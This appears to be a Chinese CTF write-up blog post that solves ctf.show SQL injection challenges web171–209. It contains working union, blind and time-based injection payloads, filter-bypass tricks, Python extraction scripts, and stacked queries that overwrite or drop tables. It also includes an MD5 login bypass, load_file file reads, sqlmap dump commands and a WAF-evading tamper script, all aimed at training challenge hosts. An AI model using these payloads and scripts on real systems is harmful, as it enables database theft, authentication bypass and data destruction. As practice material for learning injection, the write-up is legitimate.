ctf-sql注入

本文最后更新于 2024年9月28日 凌晨

前言:sql算是最不熟悉的了,写的稍微详细一点吧,目前的ctf赛题是不会出一把梭的题目,实战环境sqlmap可以多用用,题目尽量还是手写。

web171

1
1' or 1=1--+
1
2
3
根据id = '".$ GET['id']."' limit 1;";
传入的内容拼接就相当于
id='1' or 1=1--+'limit 1;

进行了简单的sql绕过

web172

本地加入了返回逻辑,详细可以自己查看

1
1' or 1=1 union select 1,2,database()%23

首先爆看看库名,发现了ctfshow_web

1
1' or 1=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'%23

再对所有可能的表进行爆列

1
1' or 1=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2'%23

再进行爆列名

1
1' or 1=1 union select 1,2,group_concat(password) from ctfshow_user2%23

最后直接定位到password进行了

web173

先用上题的最后payload查看看看,发现not_here,看一下本题的返回逻辑

1
1' or 1=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'%23

发现有个ctfshow_user3,直接写最后的payload,本题有匹配flag的过滤

1
1' or 1=1 union select 1,2,group_concat(password) from ctfshow_user3%23

web174

在前面的基础上过滤了0-9

0x01

利用replace就行替换

1
replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B'),3,'C'),4,'D'),5,'E'),6,'F'),7,'G'),8,'H'),9,'I'),0,'J');

讲数字用字母进行替换

1
1' union select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'A'),2,'B'),3,'C'),4,'D'),5,'E'),6,'F'),7,'G'),8,'H'),9,'I'),0,'J'),'b' from ctfshow_user4 where username='flag' %23

得到的flag需要进行替换

0x02

利用盲注得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

# 构造 Payload
payload = "1' union select 'a',if(ascii(substr((select password from ctfshow_user4 where username='flag'), {},1))>{},'cluster','boom') %23"
url = "http://17641de3-ec90-4f5e-a197-d6bcfc72684d.challenge.ctf.show/api/v4.php?id="

# 测试字符是否大于给定的 ASCII 值
def test_chr(index: int, offset: int) -> bool:
try:
response = requests.get(url + payload.format(index, offset), timeout=5)
# 检查返回内容是否包含关键字
if "cluster" in response.text:
return True
elif "boom" in response.text:
return False
else:
print(f"[!] Unexpected response for index {index}, offset {offset}")
return False
except requests.RequestException as e:
print(f"[!] Request failed: {e}")
return False

# 开始盲注过程
index = 1
flag = ""
max_length = 50 # 假设flag最大长度
while len(flag) < max_length:
start = 32
end = 126 # ASCII 可打印字符范围
while start < end:
point = (start + end) // 2
if test_chr(index, point):
start = point + 1 # 搜索更大的 ASCII 范围
else:
end = point # 搜索更小的 ASCII 范围
if start == 32: # 当 start 等于 32 时,意味着没有更多字符
print(f"[+] Finished, flag is: {flag}")
break
flag += chr(start)
print(f"[*] Current flag: {flag}")
index += 1

print(f"[+] Final flag: {flag}")

需要先找到接口,输入,最后跑一下脚本

web175

1
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret)))

匹配 ASCII 码表范围内的字符也就是说 字母 数字 符号都显示不出来了,猜测是时间盲注

1
1' and sleep(3)%23

可以正常运行,写个脚本跑看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import time
import requests
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-_{}'
flag = ''
url = 'http://89f1ac82-1428-42c3-9b7a-0c3e5bbdc93c.challenge.ctf.show/api/v5.php?id='

def get_flag_char(index):
for char in dicts:
payload = f"1' and if(substr((select password from ctfshow_user5 where username='flag'),{index},1)='{char}',sleep(3),0) %23"
# 构造完整请求 URL
try:
start_time = time.time()
res = requests.get(url+payload)
stop_time = time.time()
if stop_time - start_time >= 3:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None

for i in range(1, 64):
char = get_flag_char(i)
if char:
flag += char
print(f"当前 flag: {flag}")
else:
print("无法继续推测字符,可能到达结尾或出错。")
break
print(f"最终 flag: {flag}")

觉得时间长的话可以微调一下时间间隔,不要过短

web176

0x01

直接爆出来了

1
1' or  1=1%23

0x02

可以bp来fuzz一下,union,select这些被过滤了,这题可以用大小写过滤

1
1' Union Select 1,2,database()%23
1
1' Union Select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
1
1' Union Select 1,2,password from ctfshow_user%23

web177

可以fuzz一下,这里比较懒我直接看wp了,这里过滤了空格,在sql里可以用/**/来代替空格

0x01

1
1'/**/or/**/1=1%23

0x02

常规做法的最后一步

1
1'/**/union/**/select/**/1,2,password/**/from/**/ctfshow_user/**/where/**/username='flag'%23

web178

本题还是过滤了空格,但上题的做法也被过滤了,+也被过滤了,这里可以联想到命令执行的一些空格绕过

0x01

1
1'%09or%091=1%23

0x02

也是常规做法的最后一步

1
1'%09union%09select%091,2,password%09from%09ctfshow_user%09where%09username='flag'%23

web179

同样是空格过滤

0x01

1
1'%0cor%0c1=1%23

0x02

1
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23

0x03

1
1'union(select(select(group_concat(password))from(ctfshow_user)),1,2)%23

web180

同样是空格过滤,尝试了一下179的payload发现都不能成功,欸?最后过滤的要换一下的原因

0x01

1
1'%0cor%0c1=1--%0c

0x02

1
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c

0x03

1
1'union(select(select(group_concat(password))from(ctfshow_user)),1,2)--%0c

web181

给了过滤

1
return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);

0x01

1
1'%0cor%0c1=1--%0c

0x02

1
-1'or(id=26)and'1

x1✌的简述,and 的优先级是高于 or 的,会执行后面的,下面贴原文,挺好理解的

语句实际的执行顺序如下 (我们把距离 and 两边最近的相关操作都用括号括起来以便于理解, 并且补全空格)

1
select id,username,password from ctfshow_user where (username != 'flag' and id='-1') or (id=26 and '1') limit 1;

首先因为输出只能输出一行数据, 需要 id=-1 来使前一条查询纪录为空, 使得前一条包含 and 的语句为 false

然后开始判断后一个括号内的操作, id=26 and '1'id=26 等价 (注意 id=26 or '1' 相当于查询全部内容, 因为 or 后一句永远是 true, 即查询存在的纪录)

因为前一个括号内容不成立(返回空纪录), 后一个括号内的内容成立, 于是通过 or 符号, 我们查询了 id=26 的纪录并显示出来

因为空格被过滤了, 所以使用 () 进行绕过, 测试可知 flag 所在账户的 id 值是 26, 于是构造 or(id=26) 来查询 id=26 的数据

最后面的 and'1 是闭合后面的单引号 (因为注释被过滤掉了)

最终的 payload 为 -1'or(id=26)and'1, 其实 -1'or(id=26)and'1'=1 也是可以的

web182

同web181,自己参照

web183

查找语句做了限制

1
$sql = "select count(pass) from ".$_POST['tableName'].";";

是从from后来开始注入,没有直接的回显,需要写个盲注的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-}'
flag = 'ctfshow{'
url = 'http://3edbba86-cec1-4666-8bcc-39e839605a1c.challenge.ctf.show/select-waf.php'
def get_flag_char(current_flag):
for char in dicts:
data = {'tableName': f"(ctfshow_user)where(pass)like('{current_flag + char}%')"}

try:
res = requests.post(url, data=data)
if res.text.find('$user_count = 1') != -1:
return char
except requests.RequestException as e:
print(f"请求失败: {e}")
return None
while True:
char = get_flag_char(flag)
if char:
flag += char
print(f"当前 flag: {flag}")
if char == '}':
break
else:
print("无法继续匹配字符,可能已到达结尾或发生错误。")
break

print(f"最终 flag: {flag}")

web184

1
preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', 

本题的主要多过滤了where,可以利用having进行绕过,配合group by一起使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import time
import binascii
dicts = '0123456789abcdefghijklmnopqrstuvwxyz-}'
flag = 'ctfshow{'
url = 'http://7d2f63f3-cdef-40f1-bb7b-c5865311ee95.challenge.ctf.show/select-waf.php'
def tohex(string):
return binascii.hexlify(string.encode('utf-8')).decode('utf-8')
with requests.Session() as session:
for i in range(1, 64):
for s in dicts:
data = {'tableName': f"ctfshow_user group by pass having pass like 0x{tohex(flag + s + '%')}"}
try:
res = session.post(url, data=data)
if '$user_count = 1' in res.text:
flag += s
print(f"Current flag: {flag}")
break
except requests.RequestException as e:
print(f"Error occurred: {e}")
time.sleep(0.5)
print(f"Final flag: {flag}")

利用hex的进制转化进行比较得到flag

web185

在前面的基础上还过滤了数字,跟着大师傅学学脚本

思路是利用true是1的原理就行构造数字

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time
import string

url = "http://0a600219-be65-4f96-a0b3-28d5e93923db.challenge.ctf.show/select-waf.php"

dicts = string.digits+string.ascii_lowercase+"-"+"}"
flag = ['c', 't', 'f', 's', 'h', 'o', 'w', '{']

def tofunc(n):
strs = ''
for _ in range(n):
strs += '+true'
return 'char(' + strs + ')'

for i in range (1,64):
for s in dicts:
payload = flag + list(s)
payload.append("%") # 进行匹配
concat_payload = 'concat(' +','.join([tofunc(ord(x))for x in payload])+')'
data = {'tableName':'ctfshow_user group by pass having pass like {}'.format(concat_payload)}
res=requests.post(url,data=data)
if res.text.find('$user_count = 0') == -1:
flag.append(s)
print(''.join(flag))
time.sleep(3)
break

0x02

另外附上yu师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#author:yu22x
import requests
import string
url="http://8319afbf-281c-4a73-b14e-a29426d0e556.challenge.ctf.show/select-waf.php"
s='0123456789abcdef-{}'
def convert(strs):
t='concat('
for s in strs:
t+= 'char(true'+'+true'*(ord(s)-1)+'),'
return t[:-1]+")"
flag=''
for i in range(1,45):
print(i)
for j in s:
d = convert(f'^ctfshow{flag+j}')
data={
'tableName':f' ctfshow_user group by pass having pass regexp({d})'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
if j=='}':
exit(0)
break

web186

同上题,两个脚本都可以使用,个人测评下来yu师傅的脚本快一点

web187

早有耳闻的一个sql的MD5绕过,一直知道这个知识点,但是刷到的很少先上payload

1
admin ffifdyop

需要抓包看回显得到flag,具体的分析,文章这里简单的阐述一下内容,正常的MD5加密默认是32位,是以md5(‘xxx’,false)

但是使用md5(‘xxx’,true)进行加密转化的时候,会在这个基础上将字符串分割成16组然后每组转化为二进制再十进制,最后通过ASCII转化为字符串对 ffifdyop 字符串进行加密的时候, 会出现 'or'6, 相当于万能密码,以下是常用的两个payload

1
2
ffifdyop
129581926211651571912466741651878684928

web188

都传0就可以绕过了,记得bp抓包

判断是username={$username},并没有引号包裹,那么就可以输入数字了。数字和字符串的匹配是弱类型比较,字符串会转换为数字,如0==admin,那么如果输入的username是0,则会匹配所有开头不是数字或者为0的字符串和数字0。

看password的判断,也是弱类型的比较,那么也直接输入0,尝试登录一个用户名和pass的开头是字母或是0的用户。

web189

hint是在api/index.php里,先尝试了上题的payload没有成功

尝试输入用户为1和0,一个是查询失败,一个是密码错误,说明为1的时候不存在用户,利用这里进行注入,参考参考脚本吧

load_file() 是 MySQL 中的一个函数,用于读取服务器上的文件。它能够从指定的文件路径读取文件内容,并将其作为字符串返回。

regexp 是 MySQL 中用于正则表达式匹配的操作符。它的作用是将文件内容与正则表达式进行匹配。

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
import string
dicts=string.digits+string.ascii_lowercase+"-"+"}"
url = 'http://91a55175-5819-43ae-bd47-e9b866b79eeb.challenge.ctf.show/api/index.php'
flag = 'ctfshow{'
for i in range(1, 64):
for s in dicts:
payload = 'if(load_file(\'/var/www/html/api/index.php\')regexp(\'{}\'),1,0)'.format(flag+s)
res = requests.post(url, data={'username':payload, 'password':'1'})
if res.text.find('67e5') != -1:
flag += s
print(flag)
break

0x02

还有官p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
import time

url = "http://91a55175-5819-43ae-bd47-e9b866b79eeb.challenge.ctf.show/api/index.php"
flagstr = "}{<>$=,;_ 'abcdefghijklmnopqr-stuvwxyz0123456789"

flag = ""
#这个位置,是群主耗费很长时间跑出来的位置~
for i in range(257,257+60):
for x in flagstr:
data={
"username":"if(substr(load_file('/var/www/html/api/index.php'),{},1)=('{}'),1,0)".format(i,x),
"password":"0"
}
print(data)
response = requests.post(url,data=data)
time.sleep(0.3)
# 8d25是username=1时的页面返回内容包含的,具体可以看上面的截图~
if response.text.find("8d25")>0:
print("++++++++++++++++++ {} is right".format(x))
flag+=x
break
else:
continue
print(flag)

web190

1
where username = '{$username}'";

根据这个可以用或进行绕过尝试注入得到flag,还是用盲注写

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string
import time
dicts=string.digits+string.ascii_lowercase+"-"+"{}"+","
url = 'http://27c9e10a-b6cd-4bcf-86e5-5a067c06f56e.challenge.ctf.show/api/index.php'
flag = ''

for i in range(1,64):
for s in dicts:
#payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
#payload = 'select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\' and table_schema=database()'
payload = 'select f1ag from ctfshow_fl0g'
s_payload = 'admin\' and if(substr(({}),{},1)=\'{}\',1,0)#'.format(payload,i,s)
res = requests.post(url,data={'username':s_payload,'password':'1'} )
if res.text.find('5bc6') != -1:
flag += s
print(flag)
time.sleep(0.5)
break

0x02

利用二分法ASCII来写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import sys
import time

url = "http://36e8713a-b1fb-49c2-badb-4c4d66f5d1cb.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid

web191

本题过滤了ASCII,可以继续web190的0x01

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string
import time
dicts=string.digits+string.ascii_lowercase+"-"+"{}"+","
url = 'http://42161408-1017-4aef-83ce-c22452b3d107.challenge.ctf.show/api/index.php'
flag = ''

for i in range(1,64):
for s in dicts:
#payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
#payload = 'select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\' and table_schema=database()'
payload = 'select f1ag from ctfshow_fl0g'
s_payload = 'admin\' and if(substr(({}),{},1)=\'{}\',1,0)#'.format(payload,i,s)
res = requests.post(url,data={'username':s_payload,'password':'1'} )
if res.text.find('5bc6') != -1:
flag += s
print(flag)
time.sleep(0.5)
break

0x02

官方的思路是希望用ASCII改成ord来写脚本的,这里学一下两个的区别,脚本就直接贴了

ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则MySQL函数将返回最左边字符的代码。如果字符不是多字节字符,则ORD()和ASCII()函数返回相似的结果;如果字符是多字节字符,则ASCII()只返回该字符最左侧的一个字节的ASCII值。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import requests
import sys
import time

url = "http://60a3f535-f0c5-40d6-9e63-fe058bf95762.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
max = 127
min = 32
while 1:
mid = (max+min)>>1
if(min == mid):
flag += chr(mid)
print(flag)
break
#payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,mid)
#ctfshow_web
#payload = "admin'and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
#ctfshow_fl0g
#payload = "admin'and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
#id,f1ag
payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

data = {
"username":payload,
"password":0,
}
res = requests.post(url = url,data =data)
time.sleep(0.3)
if res.text.find("8bef")>0:
max = mid
else:
min = mid

web192

本题多过滤了ord和hex函数,还是可以继续用上面的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string
import time
dicts=string.digits+string.ascii_lowercase+"-"+"{}"+","
url = 'http://6fec3a09-c862-4062-9893-f46b784267f2.challenge.ctf.show/api/index.php'
flag = ''

for i in range(1,64):
for s in dicts:
#payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
#payload = 'select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_fl0g\' and table_schema=database()'
payload = 'select f1ag from ctfshow_fl0g'
s_payload = 'admin\' and if(substr(({}),{},1)=\'{}\',1,0)#'.format(payload,i,s)
res = requests.post(url,data={'username':s_payload,'password':'1'} )
if res.text.find('5bc6') != -1:
flag += s
print(flag)
time.sleep(0.5)
break

web193

这题过滤了substr,问题不大,用left,right或者mid就可以了,flag换到了ctfshow_flxg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string
import time
dicts=string.digits+string.ascii_lowercase+"-"+"{}"+","
url = 'http://8a35e846-e2ed-464b-9843-19e404a9158d.challenge.ctf.show//api/index.php'
flag = ''

for i in range(1,64):
for s in dicts:
#payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
#payload = 'select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_flxg\' and table_schema=database()'
payload = 'select f1ag from ctfshow_flxg'
s_payload = 'admin\' and if(mid(({}),{},1)=\'{}\',1,0)#'.format(payload,i,s)
res = requests.post(url,data={'username':s_payload,'password':'1'} )
if res.text.find('5bc6') != -1:
flag += s
print(flag)
time.sleep(0.5)
break

web194

多过滤了char|left|right|substring这些,上题的脚本继续用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import string
import time
dicts=string.digits+string.ascii_lowercase+"-"+"{}"+","
url = 'http://5d33d7d6-6708-4e4a-82ed-38708c8d1276.challenge.ctf.show//api/index.php'
flag = ''

for i in range(1,64):
for s in dicts:
#payload = 'select group_concat(table_name) from information_schema.tables where table_schema=database()'
#payload = 'select group_concat(column_name) from information_schema.columns where table_name=\'ctfshow_flxg\' and table_schema=database()'
payload = 'select f1ag from ctfshow_flxg'
s_payload = 'admin\' and if(mid(({}),{},1)=\'{}\',1,0)#'.format(payload,i,s)
res = requests.post(url,data={'username':s_payload,'password':'1'} )
if res.text.find('5bc6') != -1:
flag += s
print(flag)
time.sleep(0.5)
break

web195

1
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username))

这题又限制的比较死了,本题开始用堆叠注入,反引号利用

1
username=1;update`ctfshow_user`set`pass`=1&password=1

然后使用,抓包得到flag

1
username=1&password=0

web196

本题的题目中标明了select已经被过滤了,但是实际上并没有被过滤,orz出题人的问题吧

1
1;select(1)

执行 select(1) 使记录返回1所以前面的 select pass 就被顶掉。如果不是堆叠注入的话, 需要让前面报错 (即查不到结果), 这样才能返回 union 后的查询内容

web197

0x01

1
username=1;show tables&password=ctfshow_user

根据给的语法,如果前面执行就会爆出所有的表,其中肯定有表是ctfshow_user,利用这点进行绕过

0x02

可以进行删表另建的方法

1
1;drop table ctfshow_user;create table ctfshow_user(username varchar(255),pass varchar(255));insert ctfshow_user values(1,1)

web198

0x01

方法同web197的一样

0x02

本题过滤了drop和create,可以考虑进行列名互换将username和pass进行互换

1
0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100);

这里引入了一个第三值进行交换,类似算法里那种简单的互换,然后(userAUTO是已知的前面题目都有

1
username=0&password=userAUTO

web199

0x01

方法同web197

0x02

过滤了括号,限制了之前payload中的varchar(100),可以改为text。

1
0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;

然后的同上一题

web200

增加了逗号的过滤,不影响做题,做法同web199。

web201

从201开始进行sqlmap的教学

先随便输入一个数字,看一下网络的具体回显,对应具体的接口是在/api/?id=

1
sqlmap -u https://331df045-6e91-4856-8c24-709a5de13ed4.challenge.ctf.show/api/?id=1  --referer ctf.show --dbs

先爆个库

1
sqlmap -u https://331df045-6e91-4856-8c24-709a5de13ed4.challenge.ctf.show/api/?id=1  --referer ctf.show -D ctfshow_web --tables

对应进行爆表

1
sqlmap -u https://331df045-6e91-4856-8c24-709a5de13ed4.challenge.ctf.show/api/?id=1  --referer ctf.show -t ctfshow_user --dump

web202

提示调整请求方式,那应该就是post

1
sqlmap -u https://d46e766c-0680-46ca-bb67-6cb44a5e3bb0.challenge.ctf.show/api/ --data 'id=1' --referer ctf.show --dbs
1
sqlmap -u https://d46e766c-0680-46ca-bb67-6cb44a5e3bb0.challenge.ctf.show/api/ --data 'id=1' --referer ctf.show -D ctfshow_web --tables
1
sqlmap -u https://d46e766c-0680-46ca-bb67-6cb44a5e3bb0.challenge.ctf.show/api/ --data 'id=1' --referer ctf.show -D ctfshow_web -T ctfshow_user -dump

web203

使用–method 调整sqlmap的请求方式

指定--method=PUT方法,同时加上-headers="Content-Type:text/plain,否则put接受不了。同时,要加上index.php,url/api/index.php

1
sqlmap -u https://5ac9d50f-ab81-4691-bedc-b80093112d07.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" --dbs
1
sqlmap -u https://5ac9d50f-ab81-4691-bedc-b80093112d07.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web --tables 
1
└─$ sqlmap -u https://5ac9d50f-ab81-4691-bedc-b80093112d07.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --headers="Content-Type:text/plain" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -dump

web204

使用–cookie 提交cookie数据,加了一层这样的限制

看cookie可以先输入一个1,然后看网络回显,或者就是抓包看

1
sqlmap -u https://dae0632d-d227-454f-a5c7-822e63c2e162.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=1eseotn7nrl1lul9mj95mf7ogs; ctfshow=686a4e14cd97f8a312d042c1af086a90" --dbs  
1
sqlmap -u https://dae0632d-d227-454f-a5c7-822e63c2e162.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --cookie="PHPSESSID=1eseotn7nrl1lul9mj95mf7ogs; ctfshow=686a4e14cd97f8a312d042c1af086a90" -D ctfshow_web -T ctfshow_user -dump

web205

api调用需要鉴权

2024-09-22195210

可以看到需要先请求api/getToken.php才能正常的发送

因此需要设置两个参数

1
2
--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置两次注入测试前访问安全链接的次数

这两个选项组合使用,可以有效应对基于会话、验证码或者防护机制的 Web 应用环境中的注入攻击。

1
sqlmap -u https://0a8616ad-5876-4b51-b79c-32ab41a36b0c.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url=https://0a8616ad-5876-4b51-b79c-32ab41a36b0c.challenge.ctf.show/api/getToken.php --safe-freq=1 --dbs
1
sqlmap -u https://0a8616ad-5876-4b51-b79c-32ab41a36b0c.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url=https://0a8616ad-5876-4b51-b79c-32ab41a36b0c.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web --tables
1
qlmap -u https://0a8616ad-5876-4b51-b79c-32ab41a36b0c.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url=https://0a8616ad-5876-4b51-b79c-32ab41a36b0c.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flax -dump

web206

sql需要闭合,等于没变化,sqlmap默认闭合

1
sqlmap -u https://8836f038-7c9b-4677-843d-557d9992b95c.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://8836f038-7c9b-4677-843d-557d9992b95c.challenge.ctf.show/api/getToken.php --safe-freq=1 --dbs
1
sqlmap -u https://8836f038-7c9b-4677-843d-557d9992b95c.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://8836f038-7c9b-4677-843d-557d9992b95c.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxc -C flagv -dump

中间有跳步骤,我只粘贴刚开始和最后的脚本

web207

从这里我从虚拟机换成了wsl,所以命令会稍微有点不同,主要是方便改脚本

–tamper 的初体验

--tamper 是 SQLMap 工具中的一个选项,主要用于绕过 WAF(Web应用防火墙)或其他防护机制。通过 --tamper 选项,SQLMap 可以应用自定义的脚本对 SQL 注入的 payload 进行修改,使其不容易被检测到。具体来说,--tamper 的功能是对生成的 SQL 语句进行轻微的修改.

1
python3 sqlmap.py -u https://bab8f673-3dab-4917-acc0-caa401b34c6e.challenge.ctf.show//api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://bab8f673-3dab-4917-acc0-caa401b34c6e.challenge.ctf.show/api/getToken.php --safe-freq=1 --dbs --tamper=web207
1
python3 sqlmap.py -u https://bab8f673-3dab-4917-acc0-caa401b34c6e.challenge.ctf.show//api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://bab8f673-3dab-4917-acc0-caa401b34c6e.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca -C flagvc -dump --tamper=web207

流程都是一样的我只放第一步和最后一步的,都是按库表列进行爆,脚本我用的y4师傅的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
"""
Author:Y4tacker
"""


from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW


def tamper(payload, **kwargs):
payload = space2comment(payload)
return payload


def space2comment(payload):
retVal = payload
if payload:
retVal = ""
quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)):
if not firstspace:
if payload[i].isspace():
firstspace = True
retVal += chr(0x0a)
continue

elif payload[i] == '\'':
quote = not quote

elif payload[i] == '"':
doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:
retVal += chr(0x0a)
continue

retVal += payload[i]

return retVal

在这段代码中,chr(0x0a)用于替换 payload 中的空格,使得这些空格被转换为换行。可以观察原来的space2comment的脚本,原来的脚本是利用/**/进行绕过,这里利用换行进行绕过

web208

分析下这题,过滤了

1
2
3
4
5
//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}

过滤了空格和select,sqlmap默认是大写的,所以四舍五入没有,然后空格可以直接使用space2coment,然后流程都是一样的

1
python3 sqlmap.py -u https://14fbd5b1-877c-4751-963f-93767f3631ff.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://14fbd5b1-877c-4751-963f-93767f3631ff.challenge.ctf.show/api/getToken.php --safe-freq=1 --dbs --tamper=space2comment
1
python3 sqlmap.py -u https://14fbd5b1-877c-4751-963f-93767f3631ff.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://14fbd5b1-877c-4751-963f-93767f3631ff.challenge.ctf.show/api/getToken.php --safe-freq=1 -D ctfshow_web -T ctfshow_flaxcac -C flagvca -dump --tamper=space2comment

web209

1
return preg_match('/ |\*|\=/', $str);

过滤了等于可以用like进行绕过,过滤了*,继续用自写脚本吧

1
python3 sqlmap.py -u https://e1913103-c779-4ae7-95b9-a05a83ce161d.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:Text/plain" --safe-url=https://e1913103-c779-4ae7-95b9-a05a83ce161d.challenge.ctf.show/api/getToken.php --safe-freq=1 --dbs --tamper=web209
1
